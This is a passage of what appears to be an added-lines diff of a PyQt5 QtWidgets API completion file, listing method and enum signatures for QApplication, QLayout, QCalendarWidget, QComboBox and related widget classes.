+QtWidgets.QAction.setShortcutVisibleInContextMenu?4(bool) +QtWidgets.QAction.isShortcutVisibleInContextMenu?4() -> bool +QtWidgets.QActionGroup.ExclusionPolicy?10 +QtWidgets.QActionGroup.ExclusionPolicy.None_?10 +QtWidgets.QActionGroup.ExclusionPolicy.Exclusive?10 +QtWidgets.QActionGroup.ExclusionPolicy.ExclusiveOptional?10 +QtWidgets.QActionGroup?1(QObject) +QtWidgets.QActionGroup.__init__?1(self, QObject) +QtWidgets.QActionGroup.addAction?4(QAction) -> QAction +QtWidgets.QActionGroup.addAction?4(QString) -> QAction +QtWidgets.QActionGroup.addAction?4(QIcon, QString) -> QAction +QtWidgets.QActionGroup.removeAction?4(QAction) +QtWidgets.QActionGroup.actions?4() -> unknown-type +QtWidgets.QActionGroup.checkedAction?4() -> QAction +QtWidgets.QActionGroup.isExclusive?4() -> bool +QtWidgets.QActionGroup.isEnabled?4() -> bool +QtWidgets.QActionGroup.isVisible?4() -> bool +QtWidgets.QActionGroup.setEnabled?4(bool) +QtWidgets.QActionGroup.setDisabled?4(bool) +QtWidgets.QActionGroup.setVisible?4(bool) +QtWidgets.QActionGroup.setExclusive?4(bool) +QtWidgets.QActionGroup.triggered?4(QAction) +QtWidgets.QActionGroup.hovered?4(QAction) +QtWidgets.QActionGroup.exclusionPolicy?4() -> QActionGroup.ExclusionPolicy +QtWidgets.QActionGroup.setExclusionPolicy?4(QActionGroup.ExclusionPolicy) +QtWidgets.QApplication.ColorSpec?10 +QtWidgets.QApplication.ColorSpec.NormalColor?10 +QtWidgets.QApplication.ColorSpec.CustomColor?10 +QtWidgets.QApplication.ColorSpec.ManyColor?10 +QtWidgets.QApplication?1(list) +QtWidgets.QApplication.__init__?1(self, list) +QtWidgets.QApplication.style?4() -> QStyle +QtWidgets.QApplication.setStyle?4(QStyle) +QtWidgets.QApplication.setStyle?4(QString) -> QStyle +QtWidgets.QApplication.colorSpec?4() -> int +QtWidgets.QApplication.setColorSpec?4(int) +QtWidgets.QApplication.palette?4() -> QPalette +QtWidgets.QApplication.palette?4(QWidget) -> QPalette +QtWidgets.QApplication.palette?4(str) -> QPalette +QtWidgets.QApplication.setPalette?4(QPalette, str className=None) +QtWidgets.QApplication.font?4() -> QFont +QtWidgets.QApplication.font?4(QWidget) -> QFont +QtWidgets.QApplication.font?4(str) -> QFont +QtWidgets.QApplication.setFont?4(QFont, str className=None) +QtWidgets.QApplication.fontMetrics?4() -> QFontMetrics +QtWidgets.QApplication.setWindowIcon?4(QIcon) +QtWidgets.QApplication.windowIcon?4() -> QIcon +QtWidgets.QApplication.allWidgets?4() -> unknown-type +QtWidgets.QApplication.topLevelWidgets?4() -> unknown-type +QtWidgets.QApplication.desktop?4() -> QDesktopWidget +QtWidgets.QApplication.activePopupWidget?4() -> QWidget +QtWidgets.QApplication.activeModalWidget?4() -> QWidget +QtWidgets.QApplication.focusWidget?4() -> QWidget +QtWidgets.QApplication.activeWindow?4() -> QWidget +QtWidgets.QApplication.setActiveWindow?4(QWidget) +QtWidgets.QApplication.widgetAt?4(QPoint) -> QWidget +QtWidgets.QApplication.widgetAt?4(int, int) -> QWidget +QtWidgets.QApplication.topLevelAt?4(QPoint) -> QWidget +QtWidgets.QApplication.topLevelAt?4(int, int) -> QWidget +QtWidgets.QApplication.beep?4() +QtWidgets.QApplication.alert?4(QWidget, int msecs=0) +QtWidgets.QApplication.setCursorFlashTime?4(int) +QtWidgets.QApplication.cursorFlashTime?4() -> int +QtWidgets.QApplication.setDoubleClickInterval?4(int) +QtWidgets.QApplication.doubleClickInterval?4() -> int +QtWidgets.QApplication.setKeyboardInputInterval?4(int) +QtWidgets.QApplication.keyboardInputInterval?4() -> int +QtWidgets.QApplication.setWheelScrollLines?4(int) +QtWidgets.QApplication.wheelScrollLines?4() -> int +QtWidgets.QApplication.setGlobalStrut?4(QSize) +QtWidgets.QApplication.globalStrut?4() -> QSize +QtWidgets.QApplication.setStartDragTime?4(int) +QtWidgets.QApplication.startDragTime?4() -> int +QtWidgets.QApplication.setStartDragDistance?4(int) +QtWidgets.QApplication.startDragDistance?4() -> int +QtWidgets.QApplication.isEffectEnabled?4(Qt.UIEffect) -> bool +QtWidgets.QApplication.setEffectEnabled?4(Qt.UIEffect, bool enabled=True) +QtWidgets.QApplication.exec_?4() -> int +QtWidgets.QApplication.exec?4() -> int +QtWidgets.QApplication.notify?4(QObject, QEvent) -> bool +QtWidgets.QApplication.autoSipEnabled?4() -> bool +QtWidgets.QApplication.styleSheet?4() -> QString +QtWidgets.QApplication.focusChanged?4(QWidget, QWidget) +QtWidgets.QApplication.aboutQt?4() +QtWidgets.QApplication.closeAllWindows?4() +QtWidgets.QApplication.setAutoSipEnabled?4(bool) +QtWidgets.QApplication.setStyleSheet?4(QString) +QtWidgets.QApplication.event?4(QEvent) -> bool +QtWidgets.QLayoutItem?1(Qt.Alignment alignment=Qt.Alignment()) +QtWidgets.QLayoutItem.__init__?1(self, Qt.Alignment alignment=Qt.Alignment()) +QtWidgets.QLayoutItem?1(QLayoutItem) +QtWidgets.QLayoutItem.__init__?1(self, QLayoutItem) +QtWidgets.QLayoutItem.sizeHint?4() -> QSize +QtWidgets.QLayoutItem.minimumSize?4() -> QSize +QtWidgets.QLayoutItem.maximumSize?4() -> QSize +QtWidgets.QLayoutItem.expandingDirections?4() -> Qt.Orientations +QtWidgets.QLayoutItem.setGeometry?4(QRect) +QtWidgets.QLayoutItem.geometry?4() -> QRect +QtWidgets.QLayoutItem.isEmpty?4() -> bool +QtWidgets.QLayoutItem.hasHeightForWidth?4() -> bool +QtWidgets.QLayoutItem.heightForWidth?4(int) -> int +QtWidgets.QLayoutItem.minimumHeightForWidth?4(int) -> int +QtWidgets.QLayoutItem.invalidate?4() +QtWidgets.QLayoutItem.widget?4() -> QWidget +QtWidgets.QLayoutItem.layout?4() -> QLayout +QtWidgets.QLayoutItem.spacerItem?4() -> QSpacerItem +QtWidgets.QLayoutItem.alignment?4() -> Qt.Alignment +QtWidgets.QLayoutItem.setAlignment?4(Qt.Alignment) +QtWidgets.QLayoutItem.controlTypes?4() -> QSizePolicy.ControlTypes +QtWidgets.QLayout.SizeConstraint?10 +QtWidgets.QLayout.SizeConstraint.SetDefaultConstraint?10 +QtWidgets.QLayout.SizeConstraint.SetNoConstraint?10 +QtWidgets.QLayout.SizeConstraint.SetMinimumSize?10 +QtWidgets.QLayout.SizeConstraint.SetFixedSize?10 +QtWidgets.QLayout.SizeConstraint.SetMaximumSize?10 +QtWidgets.QLayout.SizeConstraint.SetMinAndMaxSize?10 +QtWidgets.QLayout?1(QWidget) +QtWidgets.QLayout.__init__?1(self, QWidget) +QtWidgets.QLayout?1() +QtWidgets.QLayout.__init__?1(self) +QtWidgets.QLayout.spacing?4() -> int +QtWidgets.QLayout.setSpacing?4(int) +QtWidgets.QLayout.setAlignment?4(QWidget, Qt.Alignment) -> bool +QtWidgets.QLayout.setAlignment?4(QLayout, Qt.Alignment) -> bool +QtWidgets.QLayout.setAlignment?4(Qt.Alignment) +QtWidgets.QLayout.setSizeConstraint?4(QLayout.SizeConstraint) +QtWidgets.QLayout.sizeConstraint?4() -> QLayout.SizeConstraint +QtWidgets.QLayout.setMenuBar?4(QWidget) +QtWidgets.QLayout.menuBar?4() -> QWidget +QtWidgets.QLayout.parentWidget?4() -> QWidget +QtWidgets.QLayout.invalidate?4() +QtWidgets.QLayout.geometry?4() -> QRect +QtWidgets.QLayout.activate?4() -> bool +QtWidgets.QLayout.update?4() +QtWidgets.QLayout.addWidget?4(QWidget) +QtWidgets.QLayout.addItem?4(QLayoutItem) +QtWidgets.QLayout.removeWidget?4(QWidget) +QtWidgets.QLayout.removeItem?4(QLayoutItem) +QtWidgets.QLayout.expandingDirections?4() -> Qt.Orientations +QtWidgets.QLayout.minimumSize?4() -> QSize +QtWidgets.QLayout.maximumSize?4() -> QSize +QtWidgets.QLayout.setGeometry?4(QRect) +QtWidgets.QLayout.itemAt?4(int) -> QLayoutItem +QtWidgets.QLayout.takeAt?4(int) -> QLayoutItem +QtWidgets.QLayout.indexOf?4(QWidget) -> int +QtWidgets.QLayout.indexOf?4(QLayoutItem) -> int +QtWidgets.QLayout.count?4() -> int +QtWidgets.QLayout.isEmpty?4() -> bool +QtWidgets.QLayout.totalHeightForWidth?4(int) -> int +QtWidgets.QLayout.totalMinimumSize?4() -> QSize +QtWidgets.QLayout.totalMaximumSize?4() -> QSize +QtWidgets.QLayout.totalSizeHint?4() -> QSize +QtWidgets.QLayout.layout?4() -> QLayout +QtWidgets.QLayout.setEnabled?4(bool) +QtWidgets.QLayout.isEnabled?4() -> bool +QtWidgets.QLayout.closestAcceptableSize?4(QWidget, QSize) -> QSize +QtWidgets.QLayout.widgetEvent?4(QEvent) +QtWidgets.QLayout.childEvent?4(QChildEvent) +QtWidgets.QLayout.addChildLayout?4(QLayout) +QtWidgets.QLayout.addChildWidget?4(QWidget) +QtWidgets.QLayout.alignmentRect?4(QRect) -> QRect +QtWidgets.QLayout.setContentsMargins?4(int, int, int, int) +QtWidgets.QLayout.getContentsMargins?4() -> (int, int, int, int) +QtWidgets.QLayout.contentsRect?4() -> QRect +QtWidgets.QLayout.setContentsMargins?4(QMargins) +QtWidgets.QLayout.contentsMargins?4() -> QMargins +QtWidgets.QLayout.controlTypes?4() -> QSizePolicy.ControlTypes +QtWidgets.QLayout.replaceWidget?4(QWidget, QWidget, Qt.FindChildOptions options=Qt.FindChildrenRecursively) -> QLayoutItem +QtWidgets.QBoxLayout.Direction?10 +QtWidgets.QBoxLayout.Direction.LeftToRight?10 +QtWidgets.QBoxLayout.Direction.RightToLeft?10 +QtWidgets.QBoxLayout.Direction.TopToBottom?10 +QtWidgets.QBoxLayout.Direction.BottomToTop?10 +QtWidgets.QBoxLayout.Direction.Down?10 +QtWidgets.QBoxLayout.Direction.Up?10 +QtWidgets.QBoxLayout?1(QBoxLayout.Direction, QWidget parent=None) +QtWidgets.QBoxLayout.__init__?1(self, QBoxLayout.Direction, QWidget parent=None) +QtWidgets.QBoxLayout.direction?4() -> QBoxLayout.Direction +QtWidgets.QBoxLayout.setDirection?4(QBoxLayout.Direction) +QtWidgets.QBoxLayout.addSpacing?4(int) +QtWidgets.QBoxLayout.addStretch?4(int stretch=0) +QtWidgets.QBoxLayout.addWidget?4(QWidget, int stretch=0, Qt.Alignment alignment=Qt.Alignment()) +QtWidgets.QBoxLayout.addLayout?4(QLayout, int stretch=0) +QtWidgets.QBoxLayout.addStrut?4(int) +QtWidgets.QBoxLayout.addItem?4(QLayoutItem) +QtWidgets.QBoxLayout.insertSpacing?4(int, int) +QtWidgets.QBoxLayout.insertStretch?4(int, int stretch=0) +QtWidgets.QBoxLayout.insertWidget?4(int, QWidget, int stretch=0, Qt.Alignment alignment=Qt.Alignment()) +QtWidgets.QBoxLayout.insertLayout?4(int, QLayout, int stretch=0) +QtWidgets.QBoxLayout.setStretchFactor?4(QWidget, int) -> bool +QtWidgets.QBoxLayout.setStretchFactor?4(QLayout, int) -> bool +QtWidgets.QBoxLayout.sizeHint?4() -> QSize +QtWidgets.QBoxLayout.minimumSize?4() -> QSize +QtWidgets.QBoxLayout.maximumSize?4() -> QSize +QtWidgets.QBoxLayout.hasHeightForWidth?4() -> bool +QtWidgets.QBoxLayout.heightForWidth?4(int) -> int +QtWidgets.QBoxLayout.minimumHeightForWidth?4(int) -> int +QtWidgets.QBoxLayout.expandingDirections?4() -> Qt.Orientations +QtWidgets.QBoxLayout.invalidate?4() +QtWidgets.QBoxLayout.itemAt?4(int) -> QLayoutItem +QtWidgets.QBoxLayout.takeAt?4(int) -> QLayoutItem +QtWidgets.QBoxLayout.count?4() -> int +QtWidgets.QBoxLayout.setGeometry?4(QRect) +QtWidgets.QBoxLayout.spacing?4() -> int +QtWidgets.QBoxLayout.setSpacing?4(int) +QtWidgets.QBoxLayout.addSpacerItem?4(QSpacerItem) +QtWidgets.QBoxLayout.insertSpacerItem?4(int, QSpacerItem) +QtWidgets.QBoxLayout.setStretch?4(int, int) +QtWidgets.QBoxLayout.stretch?4(int) -> int +QtWidgets.QBoxLayout.insertItem?4(int, QLayoutItem) +QtWidgets.QHBoxLayout?1() +QtWidgets.QHBoxLayout.__init__?1(self) +QtWidgets.QHBoxLayout?1(QWidget) +QtWidgets.QHBoxLayout.__init__?1(self, QWidget) +QtWidgets.QVBoxLayout?1() +QtWidgets.QVBoxLayout.__init__?1(self) +QtWidgets.QVBoxLayout?1(QWidget) +QtWidgets.QVBoxLayout.__init__?1(self, QWidget) +QtWidgets.QButtonGroup?1(QObject parent=None) +QtWidgets.QButtonGroup.__init__?1(self, QObject parent=None) +QtWidgets.QButtonGroup.setExclusive?4(bool) +QtWidgets.QButtonGroup.exclusive?4() -> bool +QtWidgets.QButtonGroup.addButton?4(QAbstractButton, int id=-1) +QtWidgets.QButtonGroup.removeButton?4(QAbstractButton) +QtWidgets.QButtonGroup.buttons?4() -> unknown-type +QtWidgets.QButtonGroup.button?4(int) -> QAbstractButton +QtWidgets.QButtonGroup.checkedButton?4() -> QAbstractButton +QtWidgets.QButtonGroup.setId?4(QAbstractButton, int) +QtWidgets.QButtonGroup.id?4(QAbstractButton) -> int +QtWidgets.QButtonGroup.checkedId?4() -> int +QtWidgets.QButtonGroup.buttonClicked?4(QAbstractButton) +QtWidgets.QButtonGroup.buttonClicked?4(int) +QtWidgets.QButtonGroup.buttonPressed?4(QAbstractButton) +QtWidgets.QButtonGroup.buttonPressed?4(int) +QtWidgets.QButtonGroup.buttonReleased?4(QAbstractButton) +QtWidgets.QButtonGroup.buttonReleased?4(int) +QtWidgets.QButtonGroup.buttonToggled?4(QAbstractButton, bool) +QtWidgets.QButtonGroup.buttonToggled?4(int, bool) +QtWidgets.QButtonGroup.idClicked?4(int) +QtWidgets.QButtonGroup.idPressed?4(int) +QtWidgets.QButtonGroup.idReleased?4(int) +QtWidgets.QButtonGroup.idToggled?4(int, bool) +QtWidgets.QCalendarWidget.SelectionMode?10 +QtWidgets.QCalendarWidget.SelectionMode.NoSelection?10 +QtWidgets.QCalendarWidget.SelectionMode.SingleSelection?10 +QtWidgets.QCalendarWidget.VerticalHeaderFormat?10 +QtWidgets.QCalendarWidget.VerticalHeaderFormat.NoVerticalHeader?10 +QtWidgets.QCalendarWidget.VerticalHeaderFormat.ISOWeekNumbers?10 +QtWidgets.QCalendarWidget.HorizontalHeaderFormat?10 +QtWidgets.QCalendarWidget.HorizontalHeaderFormat.NoHorizontalHeader?10 +QtWidgets.QCalendarWidget.HorizontalHeaderFormat.SingleLetterDayNames?10 +QtWidgets.QCalendarWidget.HorizontalHeaderFormat.ShortDayNames?10 +QtWidgets.QCalendarWidget.HorizontalHeaderFormat.LongDayNames?10 +QtWidgets.QCalendarWidget?1(QWidget parent=None) +QtWidgets.QCalendarWidget.__init__?1(self, QWidget parent=None) +QtWidgets.QCalendarWidget.sizeHint?4() -> QSize +QtWidgets.QCalendarWidget.minimumSizeHint?4() -> QSize +QtWidgets.QCalendarWidget.selectedDate?4() -> QDate +QtWidgets.QCalendarWidget.yearShown?4() -> int +QtWidgets.QCalendarWidget.monthShown?4() -> int +QtWidgets.QCalendarWidget.minimumDate?4() -> QDate +QtWidgets.QCalendarWidget.setMinimumDate?4(QDate) +QtWidgets.QCalendarWidget.maximumDate?4() -> QDate +QtWidgets.QCalendarWidget.setMaximumDate?4(QDate) +QtWidgets.QCalendarWidget.firstDayOfWeek?4() -> Qt.DayOfWeek +QtWidgets.QCalendarWidget.setFirstDayOfWeek?4(Qt.DayOfWeek) +QtWidgets.QCalendarWidget.isGridVisible?4() -> bool +QtWidgets.QCalendarWidget.setGridVisible?4(bool) +QtWidgets.QCalendarWidget.selectionMode?4() -> QCalendarWidget.SelectionMode +QtWidgets.QCalendarWidget.setSelectionMode?4(QCalendarWidget.SelectionMode) +QtWidgets.QCalendarWidget.horizontalHeaderFormat?4() -> QCalendarWidget.HorizontalHeaderFormat +QtWidgets.QCalendarWidget.setHorizontalHeaderFormat?4(QCalendarWidget.HorizontalHeaderFormat) +QtWidgets.QCalendarWidget.verticalHeaderFormat?4() -> QCalendarWidget.VerticalHeaderFormat +QtWidgets.QCalendarWidget.setVerticalHeaderFormat?4(QCalendarWidget.VerticalHeaderFormat) +QtWidgets.QCalendarWidget.headerTextFormat?4() -> QTextCharFormat +QtWidgets.QCalendarWidget.setHeaderTextFormat?4(QTextCharFormat) +QtWidgets.QCalendarWidget.weekdayTextFormat?4(Qt.DayOfWeek) -> QTextCharFormat +QtWidgets.QCalendarWidget.setWeekdayTextFormat?4(Qt.DayOfWeek, QTextCharFormat) +QtWidgets.QCalendarWidget.dateTextFormat?4() -> unknown-type +QtWidgets.QCalendarWidget.dateTextFormat?4(QDate) -> QTextCharFormat +QtWidgets.QCalendarWidget.setDateTextFormat?4(QDate, QTextCharFormat) +QtWidgets.QCalendarWidget.updateCell?4(QDate) +QtWidgets.QCalendarWidget.updateCells?4() +QtWidgets.QCalendarWidget.event?4(QEvent) -> bool +QtWidgets.QCalendarWidget.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QCalendarWidget.mousePressEvent?4(QMouseEvent) +QtWidgets.QCalendarWidget.resizeEvent?4(QResizeEvent) +QtWidgets.QCalendarWidget.keyPressEvent?4(QKeyEvent) +QtWidgets.QCalendarWidget.paintCell?4(QPainter, QRect, QDate) +QtWidgets.QCalendarWidget.setCurrentPage?4(int, int) +QtWidgets.QCalendarWidget.setDateRange?4(QDate, QDate) +QtWidgets.QCalendarWidget.setSelectedDate?4(QDate) +QtWidgets.QCalendarWidget.showNextMonth?4() +QtWidgets.QCalendarWidget.showNextYear?4() +QtWidgets.QCalendarWidget.showPreviousMonth?4() +QtWidgets.QCalendarWidget.showPreviousYear?4() +QtWidgets.QCalendarWidget.showSelectedDate?4() +QtWidgets.QCalendarWidget.showToday?4() +QtWidgets.QCalendarWidget.activated?4(QDate) +QtWidgets.QCalendarWidget.clicked?4(QDate) +QtWidgets.QCalendarWidget.currentPageChanged?4(int, int) +QtWidgets.QCalendarWidget.selectionChanged?4() +QtWidgets.QCalendarWidget.isNavigationBarVisible?4() -> bool +QtWidgets.QCalendarWidget.isDateEditEnabled?4() -> bool +QtWidgets.QCalendarWidget.setDateEditEnabled?4(bool) +QtWidgets.QCalendarWidget.dateEditAcceptDelay?4() -> int +QtWidgets.QCalendarWidget.setDateEditAcceptDelay?4(int) +QtWidgets.QCalendarWidget.setNavigationBarVisible?4(bool) +QtWidgets.QCalendarWidget.calendar?4() -> QCalendar +QtWidgets.QCalendarWidget.setCalendar?4(QCalendar) +QtWidgets.QCheckBox?1(QWidget parent=None) +QtWidgets.QCheckBox.__init__?1(self, QWidget parent=None) +QtWidgets.QCheckBox?1(QString, QWidget parent=None) +QtWidgets.QCheckBox.__init__?1(self, QString, QWidget parent=None) +QtWidgets.QCheckBox.sizeHint?4() -> QSize +QtWidgets.QCheckBox.setTristate?4(bool on=True) +QtWidgets.QCheckBox.isTristate?4() -> bool +QtWidgets.QCheckBox.checkState?4() -> Qt.CheckState +QtWidgets.QCheckBox.setCheckState?4(Qt.CheckState) +QtWidgets.QCheckBox.minimumSizeHint?4() -> QSize +QtWidgets.QCheckBox.stateChanged?4(int) +QtWidgets.QCheckBox.hitButton?4(QPoint) -> bool +QtWidgets.QCheckBox.checkStateSet?4() +QtWidgets.QCheckBox.nextCheckState?4() +QtWidgets.QCheckBox.event?4(QEvent) -> bool +QtWidgets.QCheckBox.paintEvent?4(QPaintEvent) +QtWidgets.QCheckBox.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QCheckBox.initStyleOption?4(QStyleOptionButton) +QtWidgets.QDialog.DialogCode?10 +QtWidgets.QDialog.DialogCode.Rejected?10 +QtWidgets.QDialog.DialogCode.Accepted?10 +QtWidgets.QDialog?1(QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QDialog.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QDialog.result?4() -> int +QtWidgets.QDialog.setVisible?4(bool) +QtWidgets.QDialog.sizeHint?4() -> QSize +QtWidgets.QDialog.minimumSizeHint?4() -> QSize +QtWidgets.QDialog.setSizeGripEnabled?4(bool) +QtWidgets.QDialog.isSizeGripEnabled?4() -> bool +QtWidgets.QDialog.setModal?4(bool) +QtWidgets.QDialog.setResult?4(int) +QtWidgets.QDialog.exec_?4() -> int +QtWidgets.QDialog.exec?4() -> int +QtWidgets.QDialog.done?4(int) +QtWidgets.QDialog.accept?4() +QtWidgets.QDialog.reject?4() +QtWidgets.QDialog.open?4() +QtWidgets.QDialog.accepted?4() +QtWidgets.QDialog.finished?4(int) +QtWidgets.QDialog.rejected?4() +QtWidgets.QDialog.keyPressEvent?4(QKeyEvent) +QtWidgets.QDialog.closeEvent?4(QCloseEvent) +QtWidgets.QDialog.showEvent?4(QShowEvent) +QtWidgets.QDialog.resizeEvent?4(QResizeEvent) +QtWidgets.QDialog.contextMenuEvent?4(QContextMenuEvent) +QtWidgets.QDialog.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QColorDialog.ColorDialogOption?10 +QtWidgets.QColorDialog.ColorDialogOption.ShowAlphaChannel?10 +QtWidgets.QColorDialog.ColorDialogOption.NoButtons?10 +QtWidgets.QColorDialog.ColorDialogOption.DontUseNativeDialog?10 +QtWidgets.QColorDialog?1(QWidget parent=None) +QtWidgets.QColorDialog.__init__?1(self, QWidget parent=None) +QtWidgets.QColorDialog?1(QColor, QWidget parent=None) +QtWidgets.QColorDialog.__init__?1(self, QColor, QWidget parent=None) +QtWidgets.QColorDialog.getColor?4(QColor initial=Qt.white, QWidget parent=None, QString title='', QColorDialog.ColorDialogOptions options=QColorDialog.ColorDialogOptions()) -> QColor +QtWidgets.QColorDialog.customCount?4() -> int +QtWidgets.QColorDialog.customColor?4(int) -> QColor +QtWidgets.QColorDialog.setCustomColor?4(int, QColor) +QtWidgets.QColorDialog.standardColor?4(int) -> QColor +QtWidgets.QColorDialog.setStandardColor?4(int, QColor) +QtWidgets.QColorDialog.colorSelected?4(QColor) +QtWidgets.QColorDialog.currentColorChanged?4(QColor) +QtWidgets.QColorDialog.changeEvent?4(QEvent) +QtWidgets.QColorDialog.done?4(int) +QtWidgets.QColorDialog.setCurrentColor?4(QColor) +QtWidgets.QColorDialog.currentColor?4() -> QColor +QtWidgets.QColorDialog.selectedColor?4() -> QColor +QtWidgets.QColorDialog.setOption?4(QColorDialog.ColorDialogOption, bool on=True) +QtWidgets.QColorDialog.testOption?4(QColorDialog.ColorDialogOption) -> bool +QtWidgets.QColorDialog.setOptions?4(QColorDialog.ColorDialogOptions) +QtWidgets.QColorDialog.options?4() -> QColorDialog.ColorDialogOptions +QtWidgets.QColorDialog.open?4() +QtWidgets.QColorDialog.open?4(object) +QtWidgets.QColorDialog.setVisible?4(bool) +QtWidgets.QColorDialog.ColorDialogOptions?1() +QtWidgets.QColorDialog.ColorDialogOptions.__init__?1(self) +QtWidgets.QColorDialog.ColorDialogOptions?1(int) +QtWidgets.QColorDialog.ColorDialogOptions.__init__?1(self, int) +QtWidgets.QColorDialog.ColorDialogOptions?1(QColorDialog.ColorDialogOptions) +QtWidgets.QColorDialog.ColorDialogOptions.__init__?1(self, QColorDialog.ColorDialogOptions) +QtWidgets.QColumnView?1(QWidget parent=None) +QtWidgets.QColumnView.__init__?1(self, QWidget parent=None) +QtWidgets.QColumnView.columnWidths?4() -> unknown-type +QtWidgets.QColumnView.previewWidget?4() -> QWidget +QtWidgets.QColumnView.resizeGripsVisible?4() -> bool +QtWidgets.QColumnView.setColumnWidths?4(unknown-type) +QtWidgets.QColumnView.setPreviewWidget?4(QWidget) +QtWidgets.QColumnView.setResizeGripsVisible?4(bool) +QtWidgets.QColumnView.indexAt?4(QPoint) -> QModelIndex +QtWidgets.QColumnView.scrollTo?4(QModelIndex, QAbstractItemView.ScrollHint hint=QAbstractItemView.EnsureVisible) +QtWidgets.QColumnView.sizeHint?4() -> QSize +QtWidgets.QColumnView.visualRect?4(QModelIndex) -> QRect +QtWidgets.QColumnView.setModel?4(QAbstractItemModel) +QtWidgets.QColumnView.setSelectionModel?4(QItemSelectionModel) +QtWidgets.QColumnView.setRootIndex?4(QModelIndex) +QtWidgets.QColumnView.selectAll?4() +QtWidgets.QColumnView.updatePreviewWidget?4(QModelIndex) +QtWidgets.QColumnView.createColumn?4(QModelIndex) -> QAbstractItemView +QtWidgets.QColumnView.initializeColumn?4(QAbstractItemView) +QtWidgets.QColumnView.isIndexHidden?4(QModelIndex) -> bool +QtWidgets.QColumnView.moveCursor?4(QAbstractItemView.CursorAction, Qt.KeyboardModifiers) -> QModelIndex +QtWidgets.QColumnView.resizeEvent?4(QResizeEvent) +QtWidgets.QColumnView.setSelection?4(QRect, QItemSelectionModel.SelectionFlags) +QtWidgets.QColumnView.visualRegionForSelection?4(QItemSelection) -> QRegion +QtWidgets.QColumnView.horizontalOffset?4() -> int +QtWidgets.QColumnView.verticalOffset?4() -> int +QtWidgets.QColumnView.scrollContentsBy?4(int, int) +QtWidgets.QColumnView.rowsInserted?4(QModelIndex, int, int) +QtWidgets.QColumnView.currentChanged?4(QModelIndex, QModelIndex) +QtWidgets.QComboBox.SizeAdjustPolicy?10 +QtWidgets.QComboBox.SizeAdjustPolicy.AdjustToContents?10 +QtWidgets.QComboBox.SizeAdjustPolicy.AdjustToContentsOnFirstShow?10 +QtWidgets.QComboBox.SizeAdjustPolicy.AdjustToMinimumContentsLength?10 +QtWidgets.QComboBox.SizeAdjustPolicy.AdjustToMinimumContentsLengthWithIcon?10 +QtWidgets.QComboBox.InsertPolicy?10 +QtWidgets.QComboBox.InsertPolicy.NoInsert?10 +QtWidgets.QComboBox.InsertPolicy.InsertAtTop?10 +QtWidgets.QComboBox.InsertPolicy.InsertAtCurrent?10 +QtWidgets.QComboBox.InsertPolicy.InsertAtBottom?10 +QtWidgets.QComboBox.InsertPolicy.InsertAfterCurrent?10 +QtWidgets.QComboBox.InsertPolicy.InsertBeforeCurrent?10 +QtWidgets.QComboBox.InsertPolicy.InsertAlphabetically?10 +QtWidgets.QComboBox?1(QWidget parent=None) +QtWidgets.QComboBox.__init__?1(self, QWidget parent=None) +QtWidgets.QComboBox.maxVisibleItems?4() -> int +QtWidgets.QComboBox.setMaxVisibleItems?4(int) +QtWidgets.QComboBox.count?4() -> int +QtWidgets.QComboBox.setMaxCount?4(int) +QtWidgets.QComboBox.maxCount?4() -> int +QtWidgets.QComboBox.duplicatesEnabled?4() -> bool +QtWidgets.QComboBox.setDuplicatesEnabled?4(bool) +QtWidgets.QComboBox.setFrame?4(bool) +QtWidgets.QComboBox.hasFrame?4() -> bool +QtWidgets.QComboBox.findText?4(QString, Qt.MatchFlags flags=Qt.MatchExactly|Qt.MatchCaseSensitive) -> int +QtWidgets.QComboBox.findData?4(QVariant, int role=Qt.UserRole, Qt.MatchFlags flags=Qt.MatchExactly|Qt.MatchCaseSensitive) -> int +QtWidgets.QComboBox.insertPolicy?4() -> QComboBox.InsertPolicy +QtWidgets.QComboBox.setInsertPolicy?4(QComboBox.InsertPolicy) +QtWidgets.QComboBox.sizeAdjustPolicy?4() -> QComboBox.SizeAdjustPolicy +QtWidgets.QComboBox.setSizeAdjustPolicy?4(QComboBox.SizeAdjustPolicy) +QtWidgets.QComboBox.minimumContentsLength?4() -> int +QtWidgets.QComboBox.setMinimumContentsLength?4(int) +QtWidgets.QComboBox.iconSize?4() -> QSize +QtWidgets.QComboBox.setIconSize?4(QSize) +QtWidgets.QComboBox.isEditable?4() -> bool +QtWidgets.QComboBox.setEditable?4(bool) +QtWidgets.QComboBox.setLineEdit?4(QLineEdit) +QtWidgets.QComboBox.lineEdit?4() -> QLineEdit +QtWidgets.QComboBox.setValidator?4(QValidator) +QtWidgets.QComboBox.validator?4() -> QValidator +QtWidgets.QComboBox.itemDelegate?4() -> QAbstractItemDelegate +QtWidgets.QComboBox.setItemDelegate?4(QAbstractItemDelegate) +QtWidgets.QComboBox.model?4() -> QAbstractItemModel +QtWidgets.QComboBox.setModel?4(QAbstractItemModel) +QtWidgets.QComboBox.rootModelIndex?4() -> QModelIndex +QtWidgets.QComboBox.setRootModelIndex?4(QModelIndex) +QtWidgets.QComboBox.modelColumn?4() -> int +QtWidgets.QComboBox.setModelColumn?4(int) +QtWidgets.QComboBox.currentIndex?4() -> int +QtWidgets.QComboBox.setCurrentIndex?4(int) +QtWidgets.QComboBox.currentText?4() -> QString +QtWidgets.QComboBox.itemText?4(int) -> QString +QtWidgets.QComboBox.itemIcon?4(int) -> QIcon +QtWidgets.QComboBox.itemData?4(int, int role=Qt.UserRole) -> QVariant +QtWidgets.QComboBox.addItems?4(QStringList) +QtWidgets.QComboBox.addItem?4(QString, QVariant userData=None) +QtWidgets.QComboBox.addItem?4(QIcon, QString, QVariant userData=None) +QtWidgets.QComboBox.insertItem?4(int, QString, QVariant userData=None) +QtWidgets.QComboBox.insertItem?4(int, QIcon, QString, QVariant userData=None) +QtWidgets.QComboBox.insertItems?4(int, QStringList) +QtWidgets.QComboBox.removeItem?4(int) +QtWidgets.QComboBox.setItemText?4(int, QString) +QtWidgets.QComboBox.setItemIcon?4(int, QIcon) +QtWidgets.QComboBox.setItemData?4(int, QVariant, int role=Qt.ItemDataRole.UserRole) +QtWidgets.QComboBox.view?4() -> QAbstractItemView +QtWidgets.QComboBox.setView?4(QAbstractItemView) +QtWidgets.QComboBox.sizeHint?4() -> QSize +QtWidgets.QComboBox.minimumSizeHint?4() -> QSize +QtWidgets.QComboBox.showPopup?4() +QtWidgets.QComboBox.hidePopup?4() 